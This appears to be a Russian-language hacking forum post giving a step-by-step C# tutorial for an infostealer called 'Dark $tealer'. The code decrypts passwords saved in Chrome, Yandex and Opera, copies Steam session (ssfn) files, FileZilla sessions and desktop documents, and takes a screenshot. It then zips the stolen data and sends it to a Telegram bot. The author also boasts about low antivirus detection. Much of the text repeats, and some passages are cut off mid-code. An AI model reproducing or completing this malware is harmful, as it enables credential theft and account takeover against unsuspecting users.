- Регистрация
- 31.12.2019
- Сообщения
- 6,472
- Реакции
- 9
Привет, хацкер, сегодня мы будем писать свой стиллер на шарпике.
Теперь, можем приступить.
Время кодинга, сучки!
Создаём консольное приложение, версия фреймворка - 4.5
Сразу установим две нужные нам библиотеки - DotNetZip, System.Data.SQLite.
ПКМ по проекту -> Управление пакетами NuGet
Добавляем ссылку System.Security, System.Windows.Forms и System.Drawing
ПКМ по проекту -> Добавить -> Ссылка
Добавим необходимые юзинги:
Код:
using Ionic.Zip; using System; using System.IO; using System.Security.Principal; using System.Drawing; using System.Collections.Generic; using System.Text; using System.Management; using System.Net;
Объявим глобальные переменные, в которых содержатся пути папок:
Код:
static string temp = Path.GetTempPath(); static string LocalAppData = Environment.GetEnvironmentVariable("LocalAppData"); static string AppData = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
Добавляем переменную, которое хранит имя ПК:
Код:
static string username = WindowsIdentity.GetCurrent().Name; Создаём переменную workdir, в которой мы будем работать с файлами:
Код:
static string workdir = temp + username; Создаём переменные, которые содержат IP и HWID компьютера:
Код:
static string host = Dns.GetHostName(); static IPAddress IP = Dns.GetHostByName(host).AddressList[0]; static string HWID = "";
Объявим две переменные, в которых будут содержатся данные для отправки лога в телеграм: Token и ID
Код:
static string Token = "ТокенОтБота"; static string ID = "ЧатID";
Создадим пустую переменную, в которой будут содержатся пароли:
Код:
string text = ""; Создаём папки, для копирования файлов:
Код:
Directory.CreateDirectory(temp + username); Directory.CreateDirectory(workdir + "\\Steam"); Directory.CreateDirectory(workdir + "\\Steam\\ssfn"); Directory.CreateDirectory(workdir + "\\Desktop"); Directory.CreateDirectory(workdir + "\\FileZilla");
Создаём переменную dir, в которой содержатся пути до браузеров:
Код:
string[] dir = { LocalAppData + @"\Google\Chrome\User Data\Default\Login Data", LocalAppData + @"\Yandex\YandexBrowser\User Data\Default\Login Data", AppData + @"\Opera Software\Opera Stable\Login Data" }; Теперь нам нужно пройти по папкам, и собрать логины и пароли из браузеров:
Код:
foreach (string p in dir) //идем по папкам { var pas = Passwords.ReadPass(p); if (File.Exists(p)) // если файл с паролями существует, то выполняем следующие действия { text += "Dark $tealer by: @darkside_team\r\n\r\n"; foreach (var item in pas) { if ((item.Item2.Length > 0) && (item.Item3.Length > 0)) // если значения логина и пароля не пустые, то заносим их в переменную { text += "URL: " + item.Item1 + "\r\n" + "Login: " + item.Item2 + "\r\n" + "Password: " + item.Item3 + "\r\n"; text += " \r\n"; } } } } File.WriteAllText(temp + @"" + username + "\\Passwords.txt", text); // записываем пароли в файл File.Delete(temp + @"" + username + "\\Login Data"); // Удаляем лишние
На этом этапе появятся ошибки, для их исправления создаём новый класс - Passwords.cs
Код класса (Passwords):
Код:
using System; using System.Collections.Generic; using System.IO; using System.Security.Principal; using System.Text; namespace Dark__tealer__darkside_team { class Passwords { static string temp = Path.GetTempPath(); static string username = WindowsIdentity.GetCurrent().Name; static public IEnumerable<Tuple<string, string, string>> ReadPass(string dbPath) { if (File.Exists(temp + @"" + username + "\\Login Data")) // Если файл по данному пути существует, то удаляем его { File.Delete(temp + @"" + username + "\\Login Data"); } File.Copy(dbPath, temp + @"" + username + "\\Login Data"); // копируем файл с паролями для того, чтобы не закрывать браузер dbPath = temp + @"" + username + "\\Login Data"; var connectionString = "Data Source=" + dbPath + ";pooling=false"; using (var conn = new System.Data.SQLite.SQLiteConnection(connectionString)) using (var cmd = conn.CreateCommand()) { cmd.CommandText = "SELECT password_value,username_value,origin_url FROM logins"; conn.Open(); using (var reader = cmd.ExecuteReader()) { while (reader.Read()) { var encryptedData = (byte[])reader[0]; var decodedData = System.Security.Cryptography.ProtectedData.Unprotect(encryptedData, null, System.Security.Cryptography.DataProtectionScope.CurrentUser); // расшифровка паролей var plainText = Encoding.ASCII.GetString(decodedData); yield return Tuple.Create(reader.GetString(2), reader.GetString(1), plainText); } } conn.Close(); } } } } Теперь ошибок нет, двигаемся дальше.
Сейчас мы добавляем граббинг файлов Steam'a. Для этого создаём две переменные steamdir и cfgdir.
Код:
string steamdir = (string)Microsoft.Win32.Registry.GetValue(@"HKEY_CURRENT_USER\SOFTWARE\Valve\Steam", "Steampath", null); // Ищем папку стима через реестр string cfgdir = steamdir + "\\config"; // Добавляем переменную для папки config Теперь копируем файлы из папки config, в нашу подпапку Steam:
Код:
DirectoryInfo dirInfo = new DirectoryInfo(cfgdir); // Создаём переменную dirInfi foreach (FileInfo file in dirInfo.GetFiles("*.*")) // Указываем, что копируем все файлы { File.Copy(file.FullName, workdir + "\\Steam" + "\" + file.Name, true); // Копируем }
Теперь копируем ssfn файлы для авторизации без логина и пароля:
Код:
DirectoryInfo dirInfo1 = new DirectoryInfo(steamdir); foreach (FileInfo file1 in dirInfo1.GetFiles("ssfn*")) // Указываем, что копируем только файлы начинающиеся с ssfn { File.Copy(file1.FullName, workdir + "\\Steam\\ssfn" + "\" + file1.Name, true); }
Теперь сделаем граббер файлов с рабочего стола. Объявляем две переменные: desktop - которая содержит путь до Рабочего Стола, и files - которая содержит за файлы, которые там находятся.
Код:
string desktop = Environment.GetFolderPath(Environment.SpecialFolder.Desktop); ; string[] files = Directory.GetFiles(desktop); Создаём списки, отсеиваем ненужные файлы, добавляем в нашу папку:
Код:
List<string> listFiles = new List<string>(); // Список foreach (string i in files) { string extens = Path.GetExtension(i); // Переменная отвечающая за расширения файлов if (extens == ".pdf" || extens == ".txt" || extens == ".sql") // Проверка расширения { listFiles.Add(i); // Добавляем файл в список, если прошёл проверку } } List<string> names = new List<string>(); // Список foreach (string i in listFiles) { names.Add(Path.GetFileName(i)); // Имя файла } for (int i = 0; i < listFiles.Count; i++) { if (File.Exists(Path.Combine(workdir + "\\Desktop", names))) // Если файл существует File.Delete(Path.Combine(workdir + "\\Desktop", names)); // Удаляем File.Copy(listFiles, Path.Combine(workdir + "\\Desktop", names)); // Копируем файлы из сп
Граббер готов. Теперь делаем скриншот экрана:
Код:
Bitmap Screenshot; int width = int.Parse(System.Windows.Forms.Screen.PrimaryScreen.Bounds.Width.ToString()); int height = int.Parse(System.Windows.Forms.Screen.PrimaryScreen.Bounds.Width.ToString()); Screenshot = new Bitmap(1920, 1080); // Расширение скриншота Size s = new Size(Screenshot.Width, Screenshot.Height); // Размер Graphics memoryGraphics = Graphics.FromImage(Screenshot); memoryGraphics.CopyFromScreen(0, 0, 0, 0, s); string screenpath = workdir + "\\Screen.jpg"; // Папка для сохранения Screenshot.Save(screenpath); // Сохраняем
Воруем сессию FileZilla. Создаём переменную, в которой содержится путь до папки с файлами зиллы:
Код:
string FileZilla = AppData + "\\FileZilla"; Пытаемся скопировать файлы:
Код:
try { DirectoryInfo dirInfo2 = new DirectoryInfo(FileZilla); foreach (FileInfo file1 in dirInfo2.GetFiles("*.xml")) // Ограничение, только файлы с расширением xml { File.Copy(file1.FullName, workdir + "\\FileZilla" + "\" + file1.Name, true); // Копируем } } catch { } Базовый функционал готов. Теперь, нам нужно поместить все украденные файлы в архив:
Код:
using (ZipFile zip = new ZipFile(Encoding.GetEncoding("cp866"))) // Устанавливаем кодировку { zip.CompressionLevel = Ionic.Zlib.CompressionLevel.BestCompression; // Задаем максимальную степень сжатия zip.Comment = "Dark $tealer by https://t.me/darkside_team" + // Добавляем комментарий к архиву "\n<========================================>" + "\nPC:" + username + "\nIP: " + IP + "\nHWID: " + HWID + "\nGovnoCode by: 3xpl01t | @exploit_dar" ; zip.Password = "DARK"; // Задаём пароль zip.AddDirectory(@"" + temp + username); // Кладем в архив папку вместе с содежимым zip.Save(@"" + temp + username + "@darkside_team.zip"); // Сохраняем архив }
Отправка лога в телеграм бот.
Не стал использовать готовые библиотеки, сделал прямым запросом.
Создаём новый void, добавляем параметры для POST запроса:
Код:
private static void UploadMultipart(byte[] file, string filename, string contentType, string url) { try { WebClient webClient = new WebClient(); string text = "------------------------" + DateTime.Now.Ticks.ToString("x"); webClient.Headers.Add("Content-Type", "multipart/form-data; boundary=" + text); string @string = webClient.Encoding.GetString(file); string s = string.Format("--{0}\r\nContent-Disposition: form-data; name="document"; filename="{1}"\r\nContent-Type: {2}\r\n\r\n{3}\r\n--{0}--\r\n", new object[] { text, filename, contentType, @string }); byte[] bytes = webClient.Encoding.GetBytes(s); webClient.UploadData(url, "POST", bytes); Environment.Exit(0); } catch { }
Возращаемся к Main'у. Создаём переменную LOG, которая содержит путь до архива:
Код:
string LOG = @"" + temp + username + "@darkside_team.zip"; byte[] file = File.ReadAllBytes(LOG); string url = string.Concat(new string[] Делаем запрос:
Код:
{ "https://api.telegram.org/bot", Token, "/sendDocument?chat_id=", ID, "&caption=NEW LOG!
️" + "\nPC: " + username + "\nIP: " + IP + "\nPassword: DARK" + "\nCoded by @darkside_team" }); UploadMultipart(file, LOG, "application/x-ms-dos-executable", url); return;
Всё стиллер готов. Проверяем:
Сообщение от бота.
Вид лога.
Ну, а теперь самое интересное - детект:
Как тебе такое?)
Заключение.
Сейчас с уверенностью могу сказать, что мы поимели половину кодеров очередного школо-форума.
Код не идеален, на это есть много причин: почти весь функционал прописан в Main'e, хотя можно было создать классы, для удобства; мы использовали sqlite для расшифровки паролей, хотя можно было использовать движок sqlhandler, с которым не было бы подгрузки необходимой dll'ки.
В следующих статьях я проведу рефакторинг. Код станет меньше быть похож на говнецо (но это не точно).
Что планирую добавить?
P.S. Любой софт или прочие приложения используемые в статьях открываем на свой страх и риск, поэтому только не у себя на ПК (виртуалбокс, варя, рдп и тд)
Скачать исходники: LINK
- Итак, прежде чем мы приступим, хотел бы рассказать тебе о возможностях нашего стиллера:Стиллинг паролей из браузеров (Chrome, Opera, Yandex (старая версия))
- Грабинг сессии Steam. (vdf и ssfn файлы)
- Грабинг файлов с рабочего стола .txt, sql, pdf)
- Грабинг сессии FileZilla
- Отправка логов в телеграм бота
- Вес ~ 15кб
Теперь, можем приступить.
Время кодинга, сучки!
Создаём консольное приложение, версия фреймворка - 4.5

Сразу установим две нужные нам библиотеки - DotNetZip, System.Data.SQLite.
ПКМ по проекту -> Управление пакетами NuGet

Добавляем ссылку System.Security, System.Windows.Forms и System.Drawing
ПКМ по проекту -> Добавить -> Ссылка

Добавим необходимые юзинги:
Код:
using Ionic.Zip; using System; using System.IO; using System.Security.Principal; using System.Drawing; using System.Collections.Generic; using System.Text; using System.Management; using System.Net;

Объявим глобальные переменные, в которых содержатся пути папок:
Код:
static string temp = Path.GetTempPath(); static string LocalAppData = Environment.GetEnvironmentVariable("LocalAppData"); static string AppData = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);

Добавляем переменную, которое хранит имя ПК:
Код:
static string username = WindowsIdentity.GetCurrent().Name; Создаём переменную workdir, в которой мы будем работать с файлами:
Код:
static string workdir = temp + username; Создаём переменные, которые содержат IP и HWID компьютера:
Код:
static string host = Dns.GetHostName(); static IPAddress IP = Dns.GetHostByName(host).AddressList[0]; static string HWID = "";

Объявим две переменные, в которых будут содержатся данные для отправки лога в телеграм: Token и ID
Код:
static string Token = "ТокенОтБота"; static string ID = "ЧатID";

Создадим пустую переменную, в которой будут содержатся пароли:
Код:
string text = ""; Создаём папки, для копирования файлов:
Код:
Directory.CreateDirectory(temp + username); Directory.CreateDirectory(workdir + "\\Steam"); Directory.CreateDirectory(workdir + "\\Steam\\ssfn"); Directory.CreateDirectory(workdir + "\\Desktop"); Directory.CreateDirectory(workdir + "\\FileZilla");

Создаём переменную dir, в которой содержатся пути до браузеров:
Код:
string[] dir = { LocalAppData + @"\Google\Chrome\User Data\Default\Login Data", LocalAppData + @"\Yandex\YandexBrowser\User Data\Default\Login Data", AppData + @"\Opera Software\Opera Stable\Login Data" }; Теперь нам нужно пройти по папкам, и собрать логины и пароли из браузеров:
Код:
foreach (string p in dir) //идем по папкам { var pas = Passwords.ReadPass(p); if (File.Exists(p)) // если файл с паролями существует, то выполняем следующие действия { text += "Dark $tealer by: @darkside_team\r\n\r\n"; foreach (var item in pas) { if ((item.Item2.Length > 0) && (item.Item3.Length > 0)) // если значения логина и пароля не пустые, то заносим их в переменную { text += "URL: " + item.Item1 + "\r\n" + "Login: " + item.Item2 + "\r\n" + "Password: " + item.Item3 + "\r\n"; text += " \r\n"; } } } } File.WriteAllText(temp + @"" + username + "\\Passwords.txt", text); // записываем пароли в файл File.Delete(temp + @"" + username + "\\Login Data"); // Удаляем лишние

На этом этапе появятся ошибки, для их исправления создаём новый класс - Passwords.cs
Код класса (Passwords):
Код:
using System; using System.Collections.Generic; using System.IO; using System.Security.Principal; using System.Text; namespace Dark__tealer__darkside_team { class Passwords { static string temp = Path.GetTempPath(); static string username = WindowsIdentity.GetCurrent().Name; static public IEnumerable<Tuple<string, string, string>> ReadPass(string dbPath) { if (File.Exists(temp + @"" + username + "\\Login Data")) // Если файл по данному пути существует, то удаляем его { File.Delete(temp + @"" + username + "\\Login Data"); } File.Copy(dbPath, temp + @"" + username + "\\Login Data"); // копируем файл с паролями для того, чтобы не закрывать браузер dbPath = temp + @"" + username + "\\Login Data"; var connectionString = "Data Source=" + dbPath + ";pooling=false"; using (var conn = new System.Data.SQLite.SQLiteConnection(connectionString)) using (var cmd = conn.CreateCommand()) { cmd.CommandText = "SELECT password_value,username_value,origin_url FROM logins"; conn.Open(); using (var reader = cmd.ExecuteReader()) { while (reader.Read()) { var encryptedData = (byte[])reader[0]; var decodedData = System.Security.Cryptography.ProtectedData.Unprotect(encryptedData, null, System.Security.Cryptography.DataProtectionScope.CurrentUser); // расшифровка паролей var plainText = Encoding.ASCII.GetString(decodedData); yield return Tuple.Create(reader.GetString(2), reader.GetString(1), plainText); } } conn.Close(); } } } } Теперь ошибок нет, двигаемся дальше.
Сейчас мы добавляем граббинг файлов Steam'a. Для этого создаём две переменные steamdir и cfgdir.
Код:
string steamdir = (string)Microsoft.Win32.Registry.GetValue(@"HKEY_CURRENT_USER\SOFTWARE\Valve\Steam", "Steampath", null); // Ищем папку стима через реестр string cfgdir = steamdir + "\\config"; // Добавляем переменную для папки config Теперь копируем файлы из папки config, в нашу подпапку Steam:
Код:
DirectoryInfo dirInfo = new DirectoryInfo(cfgdir); // Создаём переменную dirInfi foreach (FileInfo file in dirInfo.GetFiles("*.*")) // Указываем, что копируем все файлы { File.Copy(file.FullName, workdir + "\\Steam" + "\" + file.Name, true); // Копируем }

Теперь копируем ssfn файлы для авторизации без логина и пароля:
Код:
DirectoryInfo dirInfo1 = new DirectoryInfo(steamdir); foreach (FileInfo file1 in dirInfo1.GetFiles("ssfn*")) // Указываем, что копируем только файлы начинающиеся с ssfn { File.Copy(file1.FullName, workdir + "\\Steam\\ssfn" + "\" + file1.Name, true); }

Теперь сделаем граббер файлов с рабочего стола. Объявляем две переменные: desktop - которая содержит путь до Рабочего Стола, и files - которая содержит за файлы, которые там находятся.
Код:
string desktop = Environment.GetFolderPath(Environment.SpecialFolder.Desktop); ; string[] files = Directory.GetFiles(desktop); Создаём списки, отсеиваем ненужные файлы, добавляем в нашу папку:
Код:
List<string> listFiles = new List<string>(); // Список foreach (string i in files) { string extens = Path.GetExtension(i); // Переменная отвечающая за расширения файлов if (extens == ".pdf" || extens == ".txt" || extens == ".sql") // Проверка расширения { listFiles.Add(i); // Добавляем файл в список, если прошёл проверку } } List<string> names = new List<string>(); // Список foreach (string i in listFiles) { names.Add(Path.GetFileName(i)); // Имя файла } for (int i = 0; i < listFiles.Count; i++) { if (File.Exists(Path.Combine(workdir + "\\Desktop", names))) // Если файл существует File.Delete(Path.Combine(workdir + "\\Desktop", names)); // Удаляем File.Copy(listFiles, Path.Combine(workdir + "\\Desktop", names)); // Копируем файлы из сп

Граббер готов. Теперь делаем скриншот экрана:
Код:
Bitmap Screenshot; int width = int.Parse(System.Windows.Forms.Screen.PrimaryScreen.Bounds.Width.ToString()); int height = int.Parse(System.Windows.Forms.Screen.PrimaryScreen.Bounds.Width.ToString()); Screenshot = new Bitmap(1920, 1080); // Расширение скриншота Size s = new Size(Screenshot.Width, Screenshot.Height); // Размер Graphics memoryGraphics = Graphics.FromImage(Screenshot); memoryGraphics.CopyFromScreen(0, 0, 0, 0, s); string screenpath = workdir + "\\Screen.jpg"; // Папка для сохранения Screenshot.Save(screenpath); // Сохраняем

Воруем сессию FileZilla. Создаём переменную, в которой содержится путь до папки с файлами зиллы:
Код:
string FileZilla = AppData + "\\FileZilla"; Пытаемся скопировать файлы:
Код:
try { DirectoryInfo dirInfo2 = new DirectoryInfo(FileZilla); foreach (FileInfo file1 in dirInfo2.GetFiles("*.xml")) // Ограничение, только файлы с расширением xml { File.Copy(file1.FullName, workdir + "\\FileZilla" + "\" + file1.Name, true); // Копируем } } catch { } Базовый функционал готов. Теперь, нам нужно поместить все украденные файлы в архив:
Код:
using (ZipFile zip = new ZipFile(Encoding.GetEncoding("cp866"))) // Устанавливаем кодировку { zip.CompressionLevel = Ionic.Zlib.CompressionLevel.BestCompression; // Задаем максимальную степень сжатия zip.Comment = "Dark $tealer by https://t.me/darkside_team" + // Добавляем комментарий к архиву "\n<========================================>" + "\nPC:" + username + "\nIP: " + IP + "\nHWID: " + HWID + "\nGovnoCode by: 3xpl01t | @exploit_dar" ; zip.Password = "DARK"; // Задаём пароль zip.AddDirectory(@"" + temp + username); // Кладем в архив папку вместе с содежимым zip.Save(@"" + temp + username + "@darkside_team.zip"); // Сохраняем архив }

Отправка лога в телеграм бот.
Не стал использовать готовые библиотеки, сделал прямым запросом.
Создаём новый void, добавляем параметры для POST запроса:
Код:
private static void UploadMultipart(byte[] file, string filename, string contentType, string url) { try { WebClient webClient = new WebClient(); string text = "------------------------" + DateTime.Now.Ticks.ToString("x"); webClient.Headers.Add("Content-Type", "multipart/form-data; boundary=" + text); string @string = webClient.Encoding.GetString(file); string s = string.Format("--{0}\r\nContent-Disposition: form-data; name="document"; filename="{1}"\r\nContent-Type: {2}\r\n\r\n{3}\r\n--{0}--\r\n", new object[] { text, filename, contentType, @string }); byte[] bytes = webClient.Encoding.GetBytes(s); webClient.UploadData(url, "POST", bytes); Environment.Exit(0); } catch { }

Возращаемся к Main'у. Создаём переменную LOG, которая содержит путь до архива:
Код:
string LOG = @"" + temp + username + "@darkside_team.zip"; byte[] file = File.ReadAllBytes(LOG); string url = string.Concat(new string[] Делаем запрос:
Код:
{ "https://api.telegram.org/bot", Token, "/sendDocument?chat_id=", ID, "&caption=NEW LOG!


Всё стиллер готов. Проверяем:

Сообщение от бота.

Вид лога.
Ну, а теперь самое интересное - детект:

Как тебе такое?)
Заключение.
Сейчас с уверенностью могу сказать, что мы поимели половину кодеров очередного школо-форума.
Код не идеален, на это есть много причин: почти весь функционал прописан в Main'e, хотя можно было создать классы, для удобства; мы использовали sqlite для расшифровки паролей, хотя можно было использовать движок sqlhandler, с которым не было бы подгрузки необходимой dll'ки.
В следующих статьях я проведу рефакторинг. Код станет меньше быть похож на говнецо (но это не точно).
Что планирую добавить?
- Стиллинг куки
- Chromium браузеры
- Автозаполнения браузеров
- Стиллинг сессии Discord
P.S. Любой софт или прочие приложения используемые в статьях открываем на свой страх и риск, поэтому только не у себя на ПК (виртуалбокс, варя, рдп и тд)
Скачать исходники: LINK
Администрация канала Мир Баруха предоставляет данную информацию только в ознакомительных целях и не несёт никакой ответственности за ваши действия по предоставленным схемам! Использывание данных материалов на ваш собственный страх риск.